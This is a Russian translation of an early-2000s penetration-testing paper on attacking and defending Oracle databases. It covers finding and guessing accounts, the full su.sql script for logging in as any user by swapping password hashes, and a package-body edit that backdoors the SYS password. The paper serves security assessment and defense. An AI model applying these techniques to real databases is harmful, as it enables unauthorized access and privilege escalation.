Эксплуатация и защита баз данных Oracle. Часть II

Часть 1

Оглавление

• Поиск пользователей
• Взламывание учетной записи приложения
• Внешние пользователи
• Bсе, что нужно - это иметь учетную запись DBA
• Роли и привилегии Oracle
• Инъекция SQL
• Редактирование стандартных пакетов
• Взлом паролей
• Недокументированные возможности Oracle

Поиск пользователей

См. статьи
"Oracle-пользователи по умолчанию, их пароли и зашифровки"  и
"Изучение учетных записей по умолчанию в Oracle"

Взламывание учетной записи приложения

Если вы смогли войти в базу данных с помощью одной из перечисленных выше учетных записей, замечательно. Что может быть лучше учетной записи dba. Если вы намерены получить промышленные данные, то идеальными будут учетная запись владельца схемы или учетная запись пользователя приложения. Для определения других учетных записей могут быть полезны следующие способы:

• попробуйте ps , чтобы посмотреть, кто соединился через sqlplus ;
  
• попробуйте grep , чтобы найти командные файлы, в которых "зашиты" имена пользователей и пароли;
  
• попробуйте соединиться с базой данных разработки или тестовой базой данных и получить список пользователей.

Если вы получили доступ как непривилегированный пользователь, вы сможете получить список всех пользователей базы данных, но для получения хешированных паролей нужна учетная запись dba . Пример SQL для выдачи списка пользователей:

SQL> sho user
USER is "DBSNMP"
SQL> select username
2 from all_users;USERNAME
------------------------------
SYS
SYSTEM
OUTLN
DBSNMP
MTSSYS
AURORA$ORB$UNAUTHENTICATED
SCOTT
DEMO
ORDSYS
ORDPLUGINS
MDSYS
FINANCE
CTXSYS
TRACESVR
AXA
BXD
PXF 17 rows selected.SQL> spool off

Здесь видно, что три пользователя, несомненно, не являются пользователями Oracle по умолчанию. Очень часто паролями таких пользователей будут обычные пароли или их имена. Попробуйте каждого из них, используя имя пользователя в качестве пароля. Если у вас есть пароль DBA или кто-то выдал доступ к представлению DBA_USERS, попробуйте вместо ALL_USERS запросить DBA_USERS, выбирая также столбец PASSWORD. В этом столбце содержатся хешированные пароли. DBA_USERS - это представление таблицы базы данных USER$, принадлежащей пользователю SYS.

Внешние пользователи

Один класс пользователей Oracle, которые могут облегчить путь доступа к базе данных, - это внешние (external) пользователи. Но для этого нужно знать их имена в операционной системе и пароли. Фактически, этих пользователей можно обнаружить только в таблице USER$ схемы SYS или в представлении DBA_USERS:

SQL> select username,password
2 from dba_users
3 where password='EXTERNAL';

SQL>

Если вы нашли внешнего пользователя, вход в базу данных будет очень простым:

sputnik:pxf> sqlplus /SQL*Plus: Release 8.1.5.0.0 - Production on Mon Jul 30 20:48:49 2001(c) Copyright 1999 Oracle Corporation. All rights reserved.connected to:
Oracle8i Enterprise Edition Release 8.1.5.0.0 - Production
With the Partitioning and Jave options
PL/SQL Release 8.1.5.0.0 - ProductionSQL>

Если вы сможете найти внешнюю учетную запись, предназначенную для dba , то будет даже лучше. В данном случае префикс OPS$ указывает, что пользователь является внешним (но только если префикс установлен в параметре инициализации os_auth_prefix). Этот параметр можно проверить в svrmgrl , используя команду show parameter os_authent_prefix, или в sqlplus следующим образом:

SQL> col name for a20
SQL> col value for a20
SQL> select name,value
2 from v$parameter
3 where name='os_authent_prefix';NAME VALUE
-------------------- --------------------
os_authent_prefix

Используя значение этого параметра, можно определить всех внешних пользователей, запрашивая представление ALL_USERS. Если параметр os_authent_prefix установлен, то все пользователи, имена которых начинаются с установленного префикса, могут входить в базу данных из операционной системы без указания пароля, но у них может быть также определенный пароль для удаленного входа. Если пользователь создается со строкой "identified externally", а не с паролем, он может входить в операционную систему без пароля, (однако ему не разрешены удаленные соединения).

Все, что нужно - это иметь учетную запись DBA

Целью взламывания базы данных Oracle является получение учетной записи dba , любой учетной записи dba . Действительно, для неограниченного доступа к базе данных Oracle вам не нужна учетная запись суперпользователя Oracle SYS. Если вам удастся стать пользователем dba , то можно входить в РСУБД Oracle под именем любого пользователя по вашему желанию, включая пользователя SYS. К сожалению, это может делать только dba, так как при этом используется недокументированная опция оператора alter user, которая позволяет изменить пароль пользователя на известный хешированный пароль. Командный файл su.sql, показанный ниже, можно загрузить из www.pentest-limited.com. Командный файл написан для Unix, для Windows NT нужно в строке, которая удаляет временный файл, вставить DEL.

-- имя : su.sql
-- дата : 23-Jul-2001
-- Автор : Pete Finnigan
-- Описание : соединиться как другой пользователь,
-- не зная его пароль, оставить соединение
-- открытым и восстановить установку
-- исходного пароля пользователя.
-- Ограничение:
-- требуется доступ к любой учетной записи dba.
--
-- использование: SQL> connect sys/change_on_install
-- : SQL> sho user
-- : USER is "SYSTEM"
-- : SQL> @su system
-- : SQL> sho user
-- : USER is "SYS"set head off
set feed off
set verify off
set pages 0
set termout off

spool su.lisselect 'alter user '//username//'
identified by values '''//password//''';'
from dba_users
where username=upper('&&1');spool off

alter user &&1 identified by temppswd;

connect &&1/temppswd

@su.lis
-- уберите комментарии для вашей ОС
--host rm -f su.lis
--host del su.lisset head on
set feed on
set verify on
set pages 24
set termout on

Пользователь, под именем которого вы соединились, не обязательно должен быть dba , но имейте в виду, что под этим именем вы с помощью данного командного файла не сможете вновь соединиться как dba . Если кто-то хочет украсть данные из вашей базы данных, dba может и не потребоваться. Dba может помочь стать владельцем схемы, но вам даже не нужно быть владельцем схемы для несанкционированного просмотра данных, так что берегитесь.

Роли и привилегии Oracle

Oracle имеет набор встроенных привилегий и набор встроенных ролей. Пользователи РСУБД могут легко создавать свои собственные роли и управлять предоставлением прав доступа к ним. Можно также назначать роли ролям, создавая таким образом иерархию привилегий. Все роли и привилегии хранятся в таблицах словаря данных, владельцем которых является SYS . Таблицы, называемые DBA_%, могут просматриваться только DBA . Привилегии пользователей хранятся в аналогичных таблицах USER_%, кроме того, есть ряд общих таблиц, доступ к которым разрешен всем пользователям. Все основные таблицы, содержащие информацию о ролях и привилегиях, описаны ниже.

При доступе как dba для определения прав доступа любого пользователя можно использовать явный SQL. В показанном ниже примере пользователь SYSTEM выбирает данные профиля пользователя DBSNMP и выданные ему привилегии.

spool privs.liscol pr head "Профиль" for a8
col rn head "Ресурс" for a25
col rt head "Тип" for a10
col li head "Значение" for a10
break on pr skipprompt
prompt Детали профиля
prompt ==============select p.profile pr,
p.resource_name rn,
p.resource_type rt,
p.limit li
from dba_users u,
dba_profiles p
where u.profile=p.profile
and u.username='DBSNMP';col gr head "Выдавший" for a8
col tn head "Объект" for a20
col ow head "Владелец" for a8
col pr head "Привилегия" for a10prompt
prompt Объектные привилегии
prompt ====================select t.grantor gr,
t.table_name tn,
t.owner ow,
t.privilege pr
from dba_tab_privs t
where t.grantee='DBSNMP';col cn head "Столбец" for a20prompt
prompt Привилегии столбцов
prompt ===================select c.grantor gr,
c.column_name cn,
c.table_name tn,
c.owner ow,
c.privilege pr
from dba_col_privs c
where c.grantee='DBSNMP';col ad head "Адм" for a3
col pr head "Привилегия" for a30prompt
prompt Системные привилегии
prompt ====================select s.privilege pr,
s.admin_option ad
from dba_sys_privs s
where s.grantee='DBSNMP';col gr head "Выданная роль" for a30
col dr head "Def" for a3
col ad head "Адм" for a3 prompt
prompt Привилегии ролей
prompt ================select r.granted_role gr,
r.default_role dr,
r.admin_option ad
from dba_role_privs r
where r.grantee='DBSNMP';spool offВ результате выполнения этого SQL получим: Детали профиля
==============

16 rows selected.Объектные привилегии
====================Выдавший ОбъектВладелец Привилегия
-------- -------------------- -------- ----------
SYS DBMS_SYS_SQL SYS EXECUTE Привилегии столбцов
===================no rows selectedСистемные привилегии
====================

   Привилегии ролей
   ===============

Заметим, что пользователю DBSNMP во время инсталляции был выдан нестандартный набор привилегий. Чтобы узнать, какие привилегии были выданы пользователю через роли CONNECT и RESOURCE, нужно в запросах заменить ='DBSNMP'на in ('CONNECT','RESOURCE') и повторно выполнить запросы. Для того чтобы найти привилегии пользователя, под именем которого вы соединены, нужно в запросах заменить представления DBA_% на представления USER_% и повторно выполнить запросы.

Инъекция SQL

Инъекция SQL становится все более известной техникой вторжения в базы данных. В Интернете можно найти много документов, описывающих эту технику, наиболее интересны, на наш взгляд, следующие:

http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=2
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6

Поиск в Интернете не дал ничего, связанного с инъекцией SQL непосредственно в РСУБД Oracle. Можно представить для Oracle два класса инъекций SQL:

Инъекция SQL в стандартные пакеты Oracle

Были подробно исследованы встроенные пакеты на предмет инъекции в них SQL с целью эскалации привилегий. Встроенные пакеты могут быть инъецированы для получения доступа к данным или для изменения пользовательских данных ( наблюдайте за этим ).

Исследование стандартных пакетов возможно даже в тех случаях, когда они "свернуты" (зашифрованы) и реализация скрыта, так как в Oracle 7 и более ранних версиях тела пакетов поставлялись с РСУБД в исходном коде. Также можно читать "свернутые" пакеты и видеть в них некоторые части SQL, используемого в пакетах. Мы искали в пакетах SQL-код, часть которого задается параметрами, затем вызывали функцию или процедуру, в которую передавали дополнительный SQL. Мы пытались, кроме всего прочего, обнаружить функцию или процедуру, которая изменяет пароль пользователя SYS . Это удалось в одном случае, но только при соединении как DBA . При попытках из других учетных записей возникала ошибка ORA-1031. Так что следите за информацией , может быть, это препятствие будет устранено.

Выполнение произвольного SQL в данном случае, возможно, не имеет смысла - если мы можем выполнять встроенные пакеты, то мы, естественно, имеем привилегии для выполнения произвольного SQL. Ключевой момент инъекции SQL - эскалация привилегий или выполнение SQL, выполнение которого запрещено.

Инъекция SQL в приложения Oracle

Использование инъекции SQL для вторжения в базы данных Oracle через существующие приложения должно быть более простым, независимо от того, имеют ли пользователи собственные клиентские приложения, написанные с помощью средств разработки Oracle или каких-либо других средств, или Web-приложения. В данном случае преследуется цель получения привилегий или доступа к данным и/или их обновления, если это запрещено.

Единственный способ получения привилегий в SQL, насколько это представляется, - получить возможность изменения паролей пользователей, чтобы соединяться под их именами, или выдавать себе дополнительные привилегии. На уровне Oracle это фактически означает получение доступа как DBA . Во многих приложениях, которые видели мы, механизмы защиты Oracle перестроены, что, вероятно, предоставляет возможность получения в приложениях больших привилегий, чем в самой РСУБД. Очень сложно говорить о конкретных примерах, поскольку это отвлечет от общей темы данного документа. Мы надеемся опубликовать на эту тему отдельную работу.

Существует много инструментальных средств, которые могут использоваться для инъекции SQL. Если есть возможность получить доступ к исходному коду приложения, то это будет как нельзя лучше. Это позволит определить поля, заполняемые пользователями, значения которых формируются как части операторов SQL. Нужно найти такое поле, в котором не проверяется тип вводимых данных. Например, числовое поле, с помощью которого можно передать строку, содержащую дополнительный оператор SQL, или текстовое поле с кавычками, не расставленными должным образом.

Если исходный код не доступен, то можно использовать средства трассировки Oracle и найти, если используется 12-й уровень трассировки, выполняемые в сеансе операторы SQL, а также переменные привязки. Ниже описан командный файл sql.sql (доступен для загрузки в www.pentest-limited.com), который можно использовать для извлечения из SGA выполненных операторов SQL, чтобы узнать, что они делают в приложении. Для определения содержимого библиотечного кеша используйте операторы alter session ... Извлекайте также SQL из архивных журнальных файлов и переменных привязки. Для наблюдения за передачей данных от клиента серверному процессу можно также использовать анализаторы сетевого трафика. Для наблюдения за соответствующими процессами можно использовать команду Unix truss или команды Linux ltrace и strace .

Важно понимать структуру схемы базы данных атакуемого пользователя. Некоторые идеи того, как это делать, изложены в данном документе.

Для использования некоторых инструментальных средств требуется доступ к каталогу трассировки или доступ dba , но это не проблема, если исследование выполняется в автономной системе, а результаты применяются в промышленных системах

Редактирование стандартных пакетов

Стандартные пакеты предоставляют возможность встраивания в базу данных Oracle "червей" или "троянских коней". Стандартные пакеты обсуждаются в разделе " Утилита PL/SQL wrap". Исходный код стандартных пакетов недоступен, но их все же можно использовать в качестве "потайных дверей" в базу данных.

Можно инсталлировать и компилировать пакеты, такие, как DBMS_UTILITY, в схемах пользователей, таких, как DBSNMP , с добавлением массы фиктивных объектов и синонимов. Если кто-то этим интересуется, соответствующая информация может быть предоставлена, НО здесь есть проблема. Почему пакет инсталлируется в схеме DBSNMP ? Пакет провоцирующе сообщает нам в заголовке исходного текста, не говоря уже о предложении compile, что SQL, используемый в нем, работает под пользователем SYS. Планировалось инсталлировать пакет под пользователем, к которому мы имеем доступ, а потом изменить его так, чтобы мы могли получить привилегии. Но это не работает, и в конечном счете выдается ошибка ORA-6509 ICD vector missing.

Следующий план - изменить тело пакета и повторно инсталлировать его в схеме SYS , что мы и сделаем. Внесем изменения в исходный код тела пакета, например: DBMS_SESSION.SET_SQL_TRACE, и повторно инсталлируем его в схеме SYS. В файле $ORACLE_HOME/rdbms/admin/prvtutl.plb отредактируем строку:

1alter session set sql_trace true:

на

1alter user sys identified by sys:

Повторно выполним инсталляцию тела пакета в схеме SYS и выполним функцию под другим пользователем, таким, как DBSNMP . К сожалению, выполнение завершится ошибкой ORA-1031. Но если выполнить функцию как DBA , она изменит пароль SYS.

Возникает много вопросов по этой потенциальной атаке, но это действительно потенциально слабое место в системе защиты Oracle. Файл в каталоге $ORACLE_HOME/rdbms/admin должен быть доступным для перезаписи. Естественно, что этот файл выполняется, если DBA выполняет catproc.sql и catalog.sql. Этот файл входит в данные процедуры (пример неплохой; ясно, что DBA использует функцию DBMS_SESSION.SET_SQL_TRACE для включения трассировки). Хакеру нужно только регулярно проверять, получил ли он доступ к базе данных как SYS со своим новым паролем. Кроме того, хакер может устранять следы своей работы и создавать другие пути доступа. Понятно также, что DBA не может не заметить изменения пароля SYS , так как во многих узлах SYS используется регулярно.

Взлом паролей

Поиск в Интернете не обнаружил конкретных примеров взлома паролей Oracle. Фактический алгоритм шифрования/хеширования, используемый внутри Oracle, не известен широкой публике. Зато у нее сложилось представление об информационной безопасности и алгоритмах, применяемых в опции Oracle Advanced Security (но только не о методе создания хешированных паролей, хранящихся в таблице SYS.USER$ базы данных).

Что общеизвестно, так это то, что Oracle перед шифрованием выполняет необратимое преобразование имени пользователя и пароля в строку фиксированной длины - 16 символов. Алгоритм достаточно старый и используется во многих версиях Oracle. Алгоритм выдает одно и то же хешированное значение в различных версиях Oracle и на разных платформах.

Набор символов, которые можно использовать в паролях, весьма ограничен. Можно использовать некоторые пунктуационные знаки, но только тогда, когда пароль заключается в кавычки.

Ничего не стоит то, что пароль заключается в кавычки, или то, что он не чувствителен к регистру, например, пароли "pete" и "PETE" имеют один и тот же хешированный пароль в USER$.

PenTest Limited разработала программу взлома паролей Oracle. Это инструментальное средство можно использовать для атак на словарь данных, "лобовых" атак пользователя SYS, оно может работать автономно, если известно хеш-значение пароля, или выполнять попытки соединения, если хеш-значение не известно.

Недокументированные возможности Oracle

Существует несколько недокументированных возможностей РСУБД Oracle . Некоторые хорошие примеры:

dbms_sys_sql - недокументированный пакет, используемый самой Oracle в Oracle Replication Options. В нем есть одна интересная функция - parse_as_user, которая позволяет выполнять в этом пакете PL/SQL с правами вызывающего, а не с правами владельца пакета. Функция описана в разделе Функция DBMS_SYS_SQL.PARSE_AS_USER.

oradebug - отладчик Oracle, поставляемый с РСУБД. Это инструментальное средство не документировано, так как Oracle в действительности не хочет, чтобы кто-нибудь сгоряча использовал его. Немного подробнее oradebug будет рассмотрен в разделе Отладчик oradebug.

current schema - текущая схема. Недокументированная опция оператора alter session для изменения текущей схемы сеанса на схему другого пользователя. (В Oracle9i эта команда документирована. - Прим. пер.) Например:

alter session set current_schema = SYS

Этот оператор изменяет текущую схему на схему SYS. Что это нам дает? К сожалению, это не дает нам привилегии пользователя SYS. Однако позволяет обращаться к объектам, принадлежащих SYS или другому пользователю, к которым разрешен доступ, но нет синонимов. Пример сеанса:

SQL> connect dbsnmp/dbsnmp
SQL> desc user$

ERROR:
ORA-04043: object user$ does not exist

SQL> alter session set current_schema=SYS;
session altered.

SQL>
SQL> desc user$

недокументированные параметры инициализации - параметры инициализации Oracle (параметры файла INIT.ORA), имена которых начинаются со знака подчеркивания, являются неподдерживаемыми параметрами. Полный список этих параметров можно получить из x$-таблиц. Эти таблицы будут рассмотрены ниже. Oracle не рекомендует устанавливать эти параметры без специального разрешения корпорации. Пример запроса списка всех скрытых параметров:

select *
from sys.x$ksppi
where substr(ksppinm,1,1)='_';

(Прим. пер.: интересна динамика увеличения количества параметров инициализации в разных версиях Oracle:

)

Некоторые из интересных параметров - это те, которые позволяют открывать базу данных, даже если она испорчена. Они могут быть использованы для открытия базы данных, созданной из неполных резервных копий, чтобы попытаться извлечь из нее данные. Такой параметр называется _allow_read_only_corruption (разрешить восстановление только для чтения разрушенной базы данных). Есть и другие, которые также можно использовать, такие, как _allow_resetlogs_corruption (разрешить восстановление разрушенной базы данных со сбросом журналов) и _compatible_no_recovery (восстановление без совместимости). Эти параметры нужно вставлять в файл инициализации и их нельзя использовать в промышленной базе данных без разрешения Oracle. Еще один полезный параметр - _trace_files_public (общедоступные трассировочные файлы), который позволяет открыть доступ для чтения трассировочных файлов.

Другие. О других недокументированных возможностях указывается на протяжении всего этого документа.

Файлы с открытым доступом по чтению и файлы, выполняемые с правами владельцев (SUID- и SGID-файлы)

В ORACLE_HOME всегда нужно проверять файлы с открытым для всех пользователей доступом по чтению. Особое внимание следует уделять трассировочным файлам, журнальным файлам, реальным файлам данных баз данных, архивным журнальным файлам и любым экспортным файлам. Всегда важно проверять каталоги, в которые записываются протоколы, /tmp-каталоги и все каталоги, куда могут помещаться резервные копии и экспортные файлы. В трассировочных файлах можно находить (например, командой UNIX grep ) операторы ALTER USER, CREATE USER и GRANT CONNECT. В экспортных файлах можно обнаружить имена пользователей и пароли в открытом тексте, которые иногда вставляются для связей баз данных. Кроме того, из экспортных файлов можно извлекать хешированные пароли.

В некоторых выполняемых модулях Oracle существует ряд хорошо документированных "дыр", которые позволяют эскалировать привилегии. Информацию об этом можно найти в базе данных отслеживания ошибок (bugtrack database) по адресу: www.securityfocus.com.